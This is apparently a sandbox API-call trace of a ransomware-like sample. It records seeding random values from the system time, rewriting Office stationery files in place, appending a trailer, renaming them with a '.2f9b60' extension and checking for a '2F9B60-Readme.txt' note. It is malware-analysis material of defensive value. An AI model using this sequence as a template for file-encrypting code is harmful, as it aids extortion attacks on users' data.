[0117.681] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e3f0 [0117.681] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9d00 [0117.682] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e3f0) returned 1 [0117.682] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9f10) returned 1 [0117.682] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9fd0) returned 1 [0117.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bcc0 [0117.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e3f0 [0117.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9fd0 [0117.682] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9fd0) returned 1 [0117.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fc0d80 [0117.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fb5950 [0117.682] ReadFile (in: hFile=0xe60, lpBuffer=0x41fc0d80, nNumberOfBytesToRead=0x224, lpNumberOfBytesRead=0x228bfb90, lpOverlapped=0x0 | out: lpBuffer=0x41fc0d80*, lpNumberOfBytesRead=0x228bfb90*=0x224, lpOverlapped=0x0) returned 1 [0117.682] SetFilePointerEx (in: hFile=0xe60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.682] WriteFile (in: hFile=0xe60, lpBuffer=0x41fb5950*, nNumberOfBytesToWrite=0x224, lpNumberOfBytesWritten=0x228bfb94, lpOverlapped=0x0 | out: lpBuffer=0x41fb5950*, lpNumberOfBytesWritten=0x228bfb94*=0x224, lpOverlapped=0x0) returned 1 [0117.686] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9700 [0117.686] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9eb0 [0117.686] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9eb0) returned 1 [0117.686] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fb5950) returned 1 [0117.686] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fc0d80) returned 1 [0117.687] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e3f0) returned 1 [0117.687] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0117.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a9eb0 [0117.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bcc0 [0117.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e3f0 [0117.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9ca0 [0117.687] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9ca0) returned 1 [0117.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a9ca0 [0117.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9f40 [0117.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa000 [0117.687] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa000) returned 1 [0117.688] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e3f0) returned 1 [0117.688] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0117.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x167dc0 [0117.688] SetFilePointerEx (in: hFile=0xe60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0117.688] WriteFile (in: hFile=0xe60, lpBuffer=0x167dc0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x228bfcb0, lpOverlapped=0x0 | out: lpBuffer=0x167dc0*, lpNumberOfBytesWritten=0x228bfcb0*=0x10a, lpOverlapped=0x0) returned 1 [0117.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bcc0 [0117.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e3f0 [0117.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9dc0 [0117.697] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9dc0) returned 1 [0117.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0117.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9dc0 [0117.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9cd0 [0117.697] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9cd0) returned 1 [0117.697] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e3f0) returned 1 [0117.698] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0117.698] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d86c0 [0117.698] sprintf (in: _Dest=0x1b7d86c0, _Format="%c%c" | out: _Dest="0c") returned 2 [0117.698] sprintf (in: _Dest=0x1b7d86c2, _Format="%c%c" | out: _Dest="44") returned 2 [0117.698] sprintf (in: _Dest=0x1b7d86c4, _Format="%c%c" | out: _Dest="00") returned 2 [0117.698] sprintf (in: _Dest=0x1b7d86c6, _Format="%c%c" | out: _Dest="78") returned 2 [0117.698] sprintf (in: _Dest=0x1b7d86c8, _Format="%c%c" | out: _Dest="82") returned 2 [0117.698] sprintf (in: _Dest=0x1b7d86ca, _Format="%c%c" | out: _Dest="0a") returned 2 [0117.698] sprintf (in: _Dest=0x1b7d86cc, _Format="%c%c" | out: _Dest="11") returned 2 [0117.698] sprintf (in: _Dest=0x1b7d86ce, _Format="%c%c" | out: _Dest="ad") returned 2 [0117.698] sprintf (in: _Dest=0x1b7d86d0, _Format="%c%c" | out: _Dest="b1") returned 2 [0117.698] sprintf (in: _Dest=0x1b7d86d2, _Format="%c%c" | out: _Dest="30") returned 2 [0117.698] sprintf (in: _Dest=0x1b7d86d4, _Format="%c%c" | out: _Dest="8e") returned 2 [0117.698] sprintf (in: _Dest=0x1b7d86d6, _Format="%c%c" | out: _Dest="da") returned 2 [0117.698] sprintf (in: _Dest=0x1b7d86d8, _Format="%c%c" | out: _Dest="26") returned 2 [0117.698] sprintf (in: _Dest=0x1b7d86da, _Format="%c%c" | out: _Dest="f1") returned 2 [0117.698] sprintf (in: _Dest=0x1b7d86dc, _Format="%c%c" | out: _Dest="bc") returned 2 [0117.698] sprintf (in: _Dest=0x1b7d86de, _Format="%c%c" | out: _Dest="7d") returned 2 [0117.698] sprintf (in: _Dest=0x1b7d86e0, _Format="%c%c" | out: _Dest="c2") returned 2 [0117.698] sprintf (in: _Dest=0x1b7d86e2, _Format="%c%c" | out: _Dest="6c") returned 2 [0117.699] sprintf (in: _Dest=0x1b7d86e4, _Format="%c%c" | out: _Dest="11") returned 2 [0117.699] sprintf (in: _Dest=0x1b7d86e6, _Format="%c%c" | out: _Dest="9a") returned 2 [0117.699] sprintf (in: _Dest=0x1b7d86e8, _Format="%c%c" | out: _Dest="d9") returned 2 [0117.699] sprintf (in: _Dest=0x1b7d86ea, _Format="%c%c" | out: _Dest="b5") returned 2 [0117.699] sprintf (in: _Dest=0x1b7d86ec, _Format="%c%c" | out: _Dest="2c") returned 2 [0117.699] sprintf (in: _Dest=0x1b7d86ee, _Format="%c%c" | out: _Dest="ec") returned 2 [0117.699] RtlInitAnsiString (in: DestinationString=0x228bfd28, SourceString="0c440078820a11adb1308eda26f1bc7dc26c119ad9b52cec" | out: DestinationString="0c440078820a11adb1308eda26f1bc7dc26c119ad9b52cec") [0117.699] RtlAnsiStringToUnicodeString (in: DestinationString=0x228bfcf8, SourceString="0c440078820a11adb1308eda26f1bc7dc26c119ad9b52cec", AllocateDestinationString=1 | out: DestinationString="0c440078820a11adb1308eda26f1bc7dc26c119ad9b52cec") returned 0x0 [0117.699] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced8d70 [0117.699] RtlFreeAnsiString (AnsiString="0") [0117.699] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d86c0) returned 1 [0117.699] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0117.699] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9dc0) returned 1 [0117.700] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x167dc0) returned 1 [0117.700] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9ca0) returned 1 [0117.700] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9f40) returned 1 [0117.700] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9eb0) returned 1 [0117.700] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9700) returned 1 [0117.700] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9d60) returned 1 [0117.700] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9e80) returned 1 [0117.700] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9d00) returned 1 [0117.700] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1b7adfc0 [0117.700] wcscat (in: _Dest=0x1b7adfc0, _Source="0c440078820a" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\0c440078820a") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\0c440078820a" [0117.700] wcscat (in: _Dest=0x1b7adfc0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\0c440078820a.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\0c440078820a.2f9b60" [0117.700] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\0c440078820a.2f9b60", NtPathName=0x228bfcd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Stationery\\1033\\0c440078820a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0117.701] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x20279970 [0117.701] NtSetInformationFile (FileHandle=0xe60, IoStatusBlock=0x228bfd70, FileInformation=0x20279970, Length=0xaa, FileInformationClass=0xa) returned 0x0 [0117.702] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279970) returned 1 [0117.702] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48900) returned 1 [0117.702] NtQueryInformationFile (in: FileHandle=0xe60, IoStatusBlock=0x228bfd38, FileInformation=0x228bfd48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x228bfd38, FileInformation=0x228bfd48) returned 0x0 [0117.703] NtSetInformationFile (FileHandle=0xe60, IoStatusBlock=0x228bfd38, FileInformation=0x228bfd48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0117.704] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7adfc0) returned 1 [0117.704] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8d70) returned 1 [0117.704] FlushFileBuffers (hFile=0xe60) returned 1 [0117.706] CloseHandle (hObject=0xe60) returned 1 [0117.707] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x1b7adfc0 [0117.708] wcscpy (in: _Dest=0x1b7adfc0, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0117.708] wcscat (in: _Dest=0x1b7adfc0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\2F9B60-Readme.txt" [0117.708] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\2f9b60-readme.txt")) returned 0x20 [0117.708] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7adfc0) returned 1 [0117.708] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b760) returned 1 Thread: id = 1310 os_tid = 0xea0 [0117.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.JPG" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\notebook.jpg")) returned 0x20 [0117.341] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.JPG", dwFileAttributes=0x20) returned 1 [0117.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.JPG" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\notebook.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xab4 [0117.342] GetFileSizeEx (in: hFile=0xab4, lpFileSize=0x3bc1f720 | out: lpFileSize=0x3bc1f720*=2950) returned 1 [0117.342] SetFilePointerEx (in: hFile=0xab4, liDistanceToMove=0xb82, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.342] ReadFile (in: hFile=0xab4, lpBuffer=0x3bc1f6a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3bc1f6e8, lpOverlapped=0x0 | out: lpBuffer=0x3bc1f6a0*, lpNumberOfBytesRead=0x3bc1f6e8*=0x4, lpOverlapped=0x0) returned 1 [0117.369] SetFilePointerEx (in: hFile=0xab4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a96a0 [0117.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9e20 [0117.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9d30 [0117.369] NtQuerySystemTime (in: CurrentTime=0x3bc1f5e0 | out: CurrentTime=0x3bc1f5e0*=132462177228106000) returned 0x0 [0117.369] RtlRandomEx (in: Seed=0x3bc1f5d0 | out: Seed=0x3bc1f5d0) returned 0x2036262c [0117.369] RtlRandomEx (in: Seed=0x3bc1f5d0 | out: Seed=0x3bc1f5d0) returned 0x6e7e02d [0117.369] RtlRandomEx (in: Seed=0x3bc1f5d0 | out: Seed=0x3bc1f5d0) returned 0x1e5f4546 [0117.369] RtlRandomEx (in: Seed=0x3bc1f5d0 | out: Seed=0x3bc1f5d0) returned 0x1150f491 [0117.369] RtlRandomEx (in: Seed=0x3bc1f5d0 | out: Seed=0x3bc1f5d0) returned 0x600a5f4a [0117.369] RtlRandomEx (in: Seed=0x3bc1f5d0 | out: Seed=0x3bc1f5d0) returned 0x4a45c9b7 [0117.369] RtlRandomEx (in: Seed=0x3bc1f5d0 | out: Seed=0x3bc1f5d0) returned 0x2d94b5a9 [0117.369] RtlRandomEx (in: Seed=0x3bc1f5d0 | out: Seed=0x3bc1f5d0) returned 0x298becec [0117.369] RtlRandomEx (in: Seed=0x3bc1f5d0 | out: Seed=0x3bc1f5d0) returned 0x4009d8f8 [0117.369] RtlRandomEx (in: Seed=0x3bc1f5d0 | out: Seed=0x3bc1f5d0) returned 0xec4d90f [0117.369] RtlRandomEx (in: Seed=0x3bc1f5d0 | out: Seed=0x3bc1f5d0) returned 0x52ca2ea4 [0117.369] RtlRandomEx (in: Seed=0x3bc1f5d0 | out: Seed=0x3bc1f5d0) returned 0x441a582 [0117.369] RtlRandomEx (in: Seed=0x3bc1f5d0 | out: Seed=0x3bc1f5d0) returned 0x1601be5d [0117.369] RtlRandomEx (in: Seed=0x3bc1f5d0 | out: Seed=0x3bc1f5d0) returned 0x5fb68607 [0117.369] RtlRandomEx (in: Seed=0x3bc1f5d0 | out: Seed=0x3bc1f5d0) returned 0x3e5cc139 [0117.369] RtlRandomEx (in: Seed=0x3bc1f5d0 | out: Seed=0x3bc1f5d0) returned 0x2ee87855 [0117.369] RtlRandomEx (in: Seed=0x3bc1f5d0 | out: Seed=0x3bc1f5d0) returned 0x3b23c99 [0117.369] RtlRandomEx (in: Seed=0x3bc1f5d0 | out: Seed=0x3bc1f5d0) returned 0x4a189139 [0117.370] RtlRandomEx (in: Seed=0x3bc1f5d0 | out: Seed=0x3bc1f5d0) returned 0x1c353de7 [0117.370] RtlRandomEx (in: Seed=0x3bc1f5d0 | out: Seed=0x3bc1f5d0) returned 0x33124f01 [0117.370] RtlRandomEx (in: Seed=0x3bc1f5d0 | out: Seed=0x3bc1f5d0) returned 0x3d7e66c5 [0117.370] RtlRandomEx (in: Seed=0x3bc1f5d0 | out: Seed=0x3bc1f5d0) returned 0x45993db7 [0117.370] RtlRandomEx (in: Seed=0x3bc1f5d0 | out: Seed=0x3bc1f5d0) returned 0x3122bb1d [0117.370] RtlRandomEx (in: Seed=0x3bc1f5d0 | out: Seed=0x3bc1f5d0) returned 0x2832ec07 [0117.370] RtlRandomEx (in: Seed=0x3bc1f5d0 | out: Seed=0x3bc1f5d0) returned 0x7628bcb3 [0117.370] RtlRandomEx (in: Seed=0x3bc1f5d0 | out: Seed=0x3bc1f5d0) returned 0x4e2cd0ae [0117.370] RtlRandomEx (in: Seed=0x3bc1f5d0 | out: Seed=0x3bc1f5d0) returned 0x681db51d [0117.370] RtlRandomEx (in: Seed=0x3bc1f5d0 | out: Seed=0x3bc1f5d0) returned 0x3d64dcdb [0117.370] RtlRandomEx (in: Seed=0x3bc1f5d0 | out: Seed=0x3bc1f5d0) returned 0x7440d594 [0117.370] RtlRandomEx (in: Seed=0x3bc1f5d0 | out: Seed=0x3bc1f5d0) returned 0x415ffeb9 [0117.370] RtlRandomEx (in: Seed=0x3bc1f5d0 | out: Seed=0x3bc1f5d0) returned 0x8fcbbbc [0117.370] RtlRandomEx (in: Seed=0x3bc1f5d0 | out: Seed=0x3bc1f5d0) returned 0x54f7d8bc [0117.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9e50 [0117.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e870 [0117.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9df0 [0117.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0117.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9d30) returned 1 [0117.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a96a0) returned 1 [0117.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c4e0 [0117.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e870 [0117.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a96a0 [0117.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a96a0) returned 1 [0117.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41bc85a0 [0117.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41bcc1b0 [0117.378] ReadFile (in: hFile=0xab4, lpBuffer=0x41bc85a0, nNumberOfBytesToRead=0xb86, lpNumberOfBytesRead=0x3bc1f5d0, lpOverlapped=0x0 | out: lpBuffer=0x41bc85a0*, lpNumberOfBytesRead=0x3bc1f5d0*=0xb86, lpOverlapped=0x0) returned 1 [0117.378] SetFilePointerEx (in: hFile=0xab4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.378] WriteFile (in: hFile=0xab4, lpBuffer=0x41bcc1b0*, nNumberOfBytesToWrite=0xb86, lpNumberOfBytesWritten=0x3bc1f5d4, lpOverlapped=0x0 | out: lpBuffer=0x41bcc1b0*, lpNumberOfBytesWritten=0x3bc1f5d4*=0xb86, lpOverlapped=0x0) returned 1 [0128.397] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9ac0 [0128.397] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9520 [0128.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9520) returned 1 [0128.398] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41bcc1b0) returned 1 [0128.398] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41bc85a0) returned 1 [0128.398] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0128.398] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c4e0) returned 1 [0128.398] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a9520 [0128.398] SetFilePointerEx (in: hFile=0xab4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0128.398] WriteFile (in: hFile=0xab4, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3bc1f6f0, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x3bc1f6f0*=0x10a, lpOverlapped=0x0) returned 1 [0128.404] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x166ce0) returned 1 [0128.404] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9bb0) returned 1 [0128.405] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9940) returned 1 [0128.405] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9520) returned 1 [0128.405] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9ac0) returned 1 [0128.405] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9e20) returned 1 [0128.405] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9e50) returned 1 [0128.405] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9df0) returned 1 [0128.405] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205c970 [0128.405] wcscpy (in: _Dest=0x4205c970, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.JPG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.JPG") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.JPG" [0128.405] wcscat (in: _Dest=0x4205c970, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.JPG.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.JPG.2f9b60" [0128.405] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.JPG.2f9b60", NtPathName=0x3bc1f710, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.JPG.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0128.405] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x107780 [0128.407] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107780) returned 1 [0128.407] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf46600) returned 1 [0128.407] NtQueryInformationFile (in: FileHandle=0xab4, IoStatusBlock=0x3bc1f778, FileInformation=0x3bc1f788, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3bc1f778, FileInformation=0x3bc1f788) returned 0x0 [0128.407] NtSetInformationFile (FileHandle=0xab4, IoStatusBlock=0x3bc1f778, FileInformation=0x3bc1f788, Length=0x28, FileInformationClass=0x4) returned 0x0 [0128.410] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c970) returned 1 [0128.410] FlushFileBuffers (hFile=0xab4) returned 1 [0128.411] CloseHandle (hObject=0xab4) returned 1 [0128.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x4205c970 [0128.413] wcscpy (in: _Dest=0x4205c970, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0128.413] wcscat (in: _Dest=0x4205c970, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\2F9B60-Readme.txt" [0128.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\2f9b60-readme.txt")) returned 0x20 [0128.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c970) returned 1 [0128.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b790) returned 1 Thread: id = 1311 os_tid = 0xe9c [0117.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\notebook.htm")) returned 0x20 [0117.344] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.HTM", dwFileAttributes=0x20) returned 1 [0117.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\notebook.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1778 [0117.345] GetFileSizeEx (in: hFile=0x1778, lpFileSize=0x3c08fcc0 | out: lpFileSize=0x3c08fcc0*=493) returned 1 [0117.345] SetFilePointerEx (in: hFile=0x1778, liDistanceToMove=0x1e9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.345] ReadFile (in: hFile=0x1778, lpBuffer=0x3c08fc40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3c08fc88, lpOverlapped=0x0 | out: lpBuffer=0x3c08fc40*, lpNumberOfBytesRead=0x3c08fc88*=0x4, lpOverlapped=0x0) returned 1 [0117.346] SetFilePointerEx (in: hFile=0x1778, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a96a0 [0117.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9d90 [0117.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9e20 [0117.346] NtQuerySystemTime (in: CurrentTime=0x3c08fb80 | out: CurrentTime=0x3c08fb80*=132462177227950000) returned 0x0 [0117.346] RtlRandomEx (in: Seed=0x3c08fb70 | out: Seed=0x3c08fb70) returned 0x4b809b85 [0117.346] RtlRandomEx (in: Seed=0x3c08fb70 | out: Seed=0x3c08fb70) returned 0x54b82a93 